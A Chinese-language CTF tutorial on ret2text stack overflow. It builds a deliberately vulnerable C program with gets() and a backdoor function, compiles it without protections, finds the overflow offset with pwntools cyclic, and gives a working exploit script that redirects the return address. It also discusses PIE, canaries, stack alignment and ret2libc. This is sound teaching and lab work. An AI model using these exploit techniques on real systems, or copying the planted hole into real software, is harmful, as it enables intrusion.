
如果你准备入pwn的坑ret2text大概率是你在CTF里碰到的第一道真正有“利用”味道的题。这个名词读起来像一行代码其实就是return to text的缩写——把程序的控制流劫持回它自己的代码段.text段里的某个位置让程序替你完成目标操作。很多人在网安学习路线里看到pwn兴冲冲装了一堆工具却卡在第一步题目看不明白exp写不出来。这篇文章就用一个最典型的ret2text题目把环境搭建、漏洞分析、exp编写、调试排错全部串起来讲清楚。你可以把它当成一份可以直接照做的实验笔记跟着操作一遍你会对栈溢出、返回地址和程序执行流有非常直观的认识。1. 先从“为什么”说起ret2text到底解决了什么问题1.1 栈溢出的终点不是崩溃而是控制流不少从逆向转过来学pwn的朋友第一次接触栈溢出时脑子里只有一个模糊印象往缓冲区里塞超长数据程序就会崩。但崩溃不是目的拿到flag才是。想理解ret2text先要把“栈”和“控制流”的关系搞清楚。程序运行时函数调用的信息都存在调用栈里。每次进入一个函数栈上会开辟一块区域存放局部变量而函数返回时要用到的返回地址也被压在栈上。CPU执行ret指令时会从栈顶弹出这个返回地址把它送到指令寄存器然后继续执行。也就是说返回地址决定了下一条指令从哪个地址开始。栈溢出之所以危险是因为局部变量和返回地址在同一个栈帧里而且挨得很近。如果你往局部缓冲区里写入的数据超过了缓冲区本身的大小数据就会继续往上覆盖一直抹掉栈帧中保存的返回地址。程序本身并不知道这个地址被改过了它只会老老实实跳过去。所以栈溢出的重点根本不是“让程序崩溃”而是“让程序跳到我们指定的位置”。1.2 ret2text和ret2shellcode、ret2libc的区别同样是控制返回地址具体跳到哪、怎么跳就演化出不同的pwn技术ret2shellcode往栈上或某个可写内存里塞一段自写的机器码然后让程序跳过去执行。这种办法要求那片内存有可执行权限如果程序开启了NX保护栈不可执行直接歇菜。ret2text程序自己的代码段里已经存在某些有用的函数或指令序列我们不需要自己写代码只需要让程序跳到那个现成的位置。比如题目里藏了一个后门函数或者有一段调用system(/bin/sh)的代码我们的任务就是算出偏移把返回地址改成它的入口。ret2libc程序里没有后门但动态链接库里一定有system这类函数。于是我们跳到libc中的函数地址配合参数字符串取执行目标命令。这通常是ret2text的进阶方向。一句话ret2text是三者中最省事的一种因为它不要求我们注入代码也不要求构造复杂参数只要程序内部给了机会我们就顺着机会走。很多入门题目在设计时就是故意留一个后门函数让你专心体会“控制返回地址”这个过程。2. 环境准备把PWN的工具链一次配明白2.1 系统与基础依赖我做pwn题用的系统是UbuntuKali也可以本质都是Linux环境重点是方便安装调试工具和pwntools。Windows下虽然也能用虚拟机跑题目但动态调试和内存布局观察都不如原生Linux舒服。拿到一台刚装好的Ubuntu建议先把基础依赖装齐sudo apt update sudo apt install -y gdb binutils file python3 python3-pip python3-devgdb用于动态调试binutils提供objdump、readelf这些静态分析工具file用来识别文件格式python3则是跑pwntools脚本的基础。如果你后面要做32位题目还需要装32位运行库否则很多老题在64位系统上直接跑不起来。sudo dpkg --add-architecture i386 sudo apt update sudo apt install -y libc6:i386 libc6-dev-i3862.2 pwntools写exp的利器pwntools是目前pwn界最常用的Python库自带进程交互、格式化地址、ROP链构造、cyclic偏移计算等功能。安装很简单pip3 install --upgrade pwntools装完验证一下python3 -c from pwn import *; print(ok)能打印ok就说明环境没问题。我早期学pwn的时候还在用Python2和旧版pwntools现在已经全面切到Python3API变化不大但遇到老教程里的cyclic(100)这类用法时注意确认版本兼容性。checksec这个命令通常也由pwntools提供用来查看二进制的保护机制。如果shell里直接敲checksec --file./xxx提示找不到可以用python3 -m pwn checksec --file./xxx或者干脆在pwntools脚本里用pwn.checksec()调用。2.3 gdb插件pwndbg让调试不再痛苦裸gdb看栈布局不是不行但信息量太少不如装一个插件。我个人推荐pwndbg它对栈、寄存器、反汇编的展示非常清晰对pwn新手尤其友好。git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装完启动gdb就能看到类似这样的界面右半边是反汇编和寄存器左半边是栈内容程序一停栈上的返回地址、局部变量分布一目了然。后面调试ret2text时你会发现自己根本离不开它。2.4 准备一个练习题目与其去网上找个不熟悉的题目不如自己编译一个。下面这段C代码是经典的ret2text模型我建议你先把它保存成ret2text_demo.c#include stdio.h #include stdlib.h void backdoor() { system(cat flag.txt); } void vuln() { char buf[0x40]; printf(Input: ); gets(buf); } int main() { setbuf(stdout, NULL); vuln(); return 0; }编译时关闭栈保护并禁用PIE方便我们观察gcc -fno-stack-protector -no-pie -o ret2text_demo ret2text_demo.c再创建题目flagecho flag{ret2text_demo_pass} flag.txt这样你就拥有了一个完全可控的本地靶机。下面所有分析都围绕这个程序展开。3. 手把手拆解ret2text从checksec到exp落地3.1 静态分析file、checksec、objdump先看文件信息和保护机制file ret2text_demo输出大概是这样的ret2text_demo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped重点信息64位、动态链接、没有strip。没有strip意味着符号表还在函数名可以直接看到这对我们找backdoor非常有利。再用checksec看保护checksec --file./ret2text_demoArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这五行就像体检报告。对我们做ret2text而言No canary found说明栈上没有金丝雀覆盖返回地址不会被检测。NX enabled说明栈和堆数据段不可执行所以不能往栈里塞shellcode。No PIE (0x400000)说明代码段地址固定我们可以直接写死目标地址。NX保护看似限制很多但ret2text偏偏不吃这一套——因为你要跳回的是程序自己的代码段而这个代码段本来就是可执行的。接着找后门函数地址。既然是not stripped用objdump就能看到objdump -d ret2text_demo | grep -A 10 backdoor:输出类似0000000000401186 backdoor: 401186: 55 push %rbp 401187: 48 89 e5 mov %rsp,%rbp 40118a: 48 8d 3d 0d 0e 00 00 lea 0xe0d(%rip),%rdi 401191: e8 1a ff ff ff call 4010b0 systemplt 401196: 90 nop 401197: 5d pop %rbp 401198: c3 ret后门函数入口是0x401186它会调用system执行cat flag.txt。这个地址就是我们最终的覆盖目标。3.2 动态分析用cyclic确定溢出偏移量知道要覆盖到返回地址不难难的是精确算出需要padding多少个字节。这里推荐用pwntools的cyclic工具。先制造一段不重复的模板数据from pwn import * cyclic_pattern cyclic(200) with open(payload.txt, wb) as f: f.write(cyclic_pattern)然后输入重定向到程序让它崩溃gdb -q ./ret2text_demo pwndbg run payload.txt程序会收到200字节的输入gets把它读进0x40大小的缓冲区覆盖了Saved rbp继续覆盖了返回地址。程序执行ret时跳到了一个由pattern控制的位置gdb会停在SIGSEGV并显示异常地址。例如Stopped reason: SIGSEGV 0x6161616861616163 in ?? ()这里的0x6161616861616163就是返回地址被覆盖成的值。把它丢给cyclic_findfrom pwn import * offset cyclic_find(0x6161616861616163) print(offset) # 输出 72为什么是72因为栈布局是buf[0x40]占用64字节紧接着是保存的rbp占8字节再往上才是返回地址。所以要覆盖到返回地址需要先填64字节缓冲区加8字节Saved rbp也就是72字节。但这只是理论推导实际编译时编译器可能因为栈对齐额外留出空间所以最好的做法永远是用cyclic实测。有些题目是32位那Saved rbp只占4字节buff偏移加4就是答案道理完全一致。3.3 编写第一个exp有了偏移量和目标地址exp已经呼之欲出了。完整脚本如下from pwn import * context.arch amd64 context.log_level info io process(./ret2text_demo) backdoor 0x401186 payload bA * 72 payload p64(backdoor) io.sendline(payload) io.interactive()解释一下每行的作用context.arch amd64告诉pwntools当前目标架构是64位p64()才能正确把地址按小端序编码。process(./ret2text_demo)在本地启动进程后面改成remote(ip, port)就能打远程题目。p64(backdoor)把0x401186编码成8字节的小端字节序列。x86和x86_64都是小端序所以一个地址的低字节在前例如\x86\x11\x40\x00\x00\x00\x00\x00。sendline发送的payload末尾会带一个换行符正好满足gets的读取条件。interactive()把控制权交给你程序跳进backdoor后执行cat flag.txtflag就会打印在终端里。运行效果$ python3 exp.py [] Starting local process ./ret2text_demo: pid 3712 [] Receiving all data: Done [*] Process ./ret2text_demo stopped with exit code 0 flag{ret2text_demo_pass}第一次亲眼看到自己的payload改变了程序行为那种感觉还是很爽的。到这里ret2text的最小闭环你已经完整走通了找漏洞、算偏移、改返回地址、拿flag。3.4 本地和远程的无缝切换本地打通后打远程只需要改一行# io process(./ret2text_demo) io remote(某个ctf题目地址, 端口)但有一个隐藏陷阱本地和远程的偏移、地址可能不一致。远程题目的二进制文件需要先下载下来用和你本地一样的静态分析流程重新测一遍偏移量和后门地址。如果题目开启了PIE地址每次启动都会变那就不能简单写死地址得先泄露并计算地址这一步我会在下面详细说。4. 实战中逃不掉的坑偏移、栈对齐与地址截断4.1 偏移量不是永远等于“buf长度8”我们demo里buf大小是0x40偏移是72符合648。但等你换几道题就会发现编译器的栈帧布局并不总是顺着你的心思来。比如函数开头可能先sub rsp, 0x50再分配buf[0x40]中间多了padding又比如变量声明顺序不同缓冲区可能不在栈底紧贴Saved rbp的位置。所以我的习惯是永远用cyclic实测而不是只靠看反汇编猜。如果对结果不放心可以再手动验证一遍在gdb中查看返回地址的原始位置和缓冲区首地址的差。用pwndbg时可以直接在崩溃点执行stack 20观察栈上哪一块被pattern覆盖返回地址位于哪个偏移非常直观。另外注意一个细节cyclic_find查找的是你输入的崩溃地址但如果你覆盖的返回地址刚好包含了0x00gdb显示时可能截断或显示不全。这时候拿cyclic -l加完整的异常地址再查一次或者手动把pattern长度缩小结果通常更干净。4.2 PIE开启时怎么办这道demo我特意编译时禁用了PIE所以能直接写死0x401186。但实际CTF题目很多开着PIE意思是程序每次运行时加载基址都随机后门函数地址也跟着变你直接在payload里写死地址大概率会崩。开PIE的题目通常需要两步先通过格式化字符串、栈溢出泄露或/proc/self/maps等方式拿到程序基址。用泄露出的基址加固定偏移算出后门函数的真实地址backdoor_real base backdoor_offset。后门函数的偏移可以从本地反汇编里得到基址则要在远程运行时动态泄露。如果你的exp里拿到了一个地址但不知道对应哪个段可以对比低12位是否和本地一致——因为页内偏移不会因ASLR改变低12位是固定的。4.3 64位下的栈对齐问题64位程序有一个容易翻车的细节System V ABI要求调用函数的时刻rsp按16字节对齐。很多后门函数内部其实就是一个system调用如果栈对齐不对system内部可能会执行movaps指令这个指令要求地址按16字节对齐不满足就直接SIGSEGV。具体表现是你明明把返回地址指向了后门函数程序却没有按预期打印flag而是在system内部崩了。解决办法是先在payload里加一个额外的ret指令地址也就是“栈对齐gadget”payload bA * 72 payload p64(ret_gadget) # 先执行一个ret让rsp移动8字节 payload p64(backdoor)ret指令本身只做一件事弹出返回地址并跳过去。所以额外跳一次ret就相当于把rsp多减了8刚好把对齐矫正回来。如果你本地有疑问先用gdb在system入口下断点查看rsp % 16是否为0这是判断是否需要ret gadget最准确的方法。4.4 地址里包含空字节小心sendline截断64位地址长8字节但实际地址通常只有低6位有效比如0x0000000000401186编码成字节序列是\x86\x11\x40\x00\x00\x00\x00\x00中间有一堆\x00。如果用sendlineafter这类接口发送python字符串要注意Python字节串可以包含\x00没问题但如果题目接收方式本身对换行、空字符做特殊处理比如用input()而非gets()那就可能出问题。多数pwn题目用read或gets直接读字节\x00不会截断你可以放心用。但如果是自己写socket接收逻辑务必用send而不是sendline避免多余换行符影响偏移计算也避免地址后多出一个0x0a导致返回地址错误。4.5 Golden Rule先确认保护再决定利用方式我踩过最蠢的坑是题目开了Canary我还一个劲地构造ret2text payload结果每次都在函数返回前被检测到栈被破坏程序直接abort。Canary机制会在函数栈帧里放置一个随机值函数返回前验证这个值是否被改动如果被改了就终止程序。所以看到题目第一时间要养成查checksec的习惯。保护全开的情况下基础ret2text基本行不通你需要先想能不能泄露Canary或者换个利用链。开Canary又关PIE的题目如果有一个格式化字符串漏洞可以先泄露出canary再把它拼进payload里照样能ret2text。这就是为什么说pwn技术不是孤立的每条利用链都是在和程序的保护机制博弈。5. ret2text的边界与延伸下一站去哪5.1 什么时候ret2text不灵即使程序里确实有后门函数ret2text也不是银弹。以下几类情况会让它失效Canary开启且无法泄露或绕过。PIE开启且无法泄露基址。后门函数需要特定参数比如后门函数签名是win(int a, int b)程序至少要满足参数条件才能执行到打印flag的分支。输入点对长度有限制比如read(fd, buf, 0x30)而偏移需要0x40字节连返回地址都够不到。目标地址无法直接跳转比如堆地址需要解码或存在随机化。遇到这些情况就要考虑和其他技术组合了。5.2 后门函数带参数时如何构造调用条件有一类题目喜欢把后门设计成如果某个全局变量等于特定值就输出flag。这已经不是单纯ret2text而是要你“跳回某个函数并让它按正确逻辑运行”。如果你的栈溢出能覆盖栈上的参数空间可以把参数直接写在payload里。但64位程序的参数传递主要靠寄存器栈溢出改不了寄存器这时候就要借助ROP链或者ret2csu技术。ret2csu是一个很实用的进阶技巧它利用程序里__libc_csu_init函数末尾的通用gadget可以控制rbx、rbp、r12、r13、r14、r15寄存器进而给任何函数传参。虽然看起来复杂但本质还是和ret2text一样修改返回地址让程序跳到gadget处执行一段指令后跳到目标函数。学会了ret2text你其实已经把“用返回地址控制程序走向”这个核心思想掌握了ret2csu只是在路径中间多插几个节点。5.3 从ret2text到ret2libc的自然过渡当程序里没有后门函数时最常见的路线是把返回地址改成libc里system函数的地址并让它执行system(/bin/sh)。这需要你提前泄露libc基址因为远程机器的libc版本和本地不一定相同。方法是在第一次输入时用栈溢出调用putsplt输出某个GOT表项里的libc地址得到地址后用LibcSearcher或在线libc库比对版本再算出system和/bin/sh的真实地址。这条链路看起来比ret2text复杂但只要你把ret2text的原理吃透了后续很多概念都是相通的。你跳转的目标从“程序自带的后门”变成了“库函数”本质都是控制返回地址和构造参数。5.4 给新手的一些实操建议如果你正卡在pwn入门我的建议是不要只看文章一定亲手把整个流程敲一遍。从编译demo程序开始用checksec看保护用gdb看栈用cyclic算偏移写exp拿到flag再改几个保护选项重新做。这个过程远比读十篇writeup有用。调试时遇到崩溃也不用慌。把crash地址和cyclic_find结合先确认是不是偏移算错再用gdb查看崩溃时的寄存器值确认是不是栈对齐问题最后检查目标地址是否被PIE或ASLR影响。九成的ret2text问题都逃不出这几种原因。另外善用context.log_level debug。pwntools会把你发送的payload按hex显示也能看到程序回显的原始字节对排查交互逻辑问题非常有帮助。我第一次远程打题目时就是靠debug模式发现sendline多了个换行导致返回地址错位。最后再分享一个小习惯每做完一道pwn题我会把exp脚本和题目二进制按日期归档并在注释里记录漏洞类型、保护情况、偏移量计算过程。几个月后回头复习你会发现自己当时的思路漏洞一目了然这也是从新手进阶为老手的重要一步。ret2text虽然只是起点但这个起点踩实了后面面对更复杂的栈利用时你至少心里有底。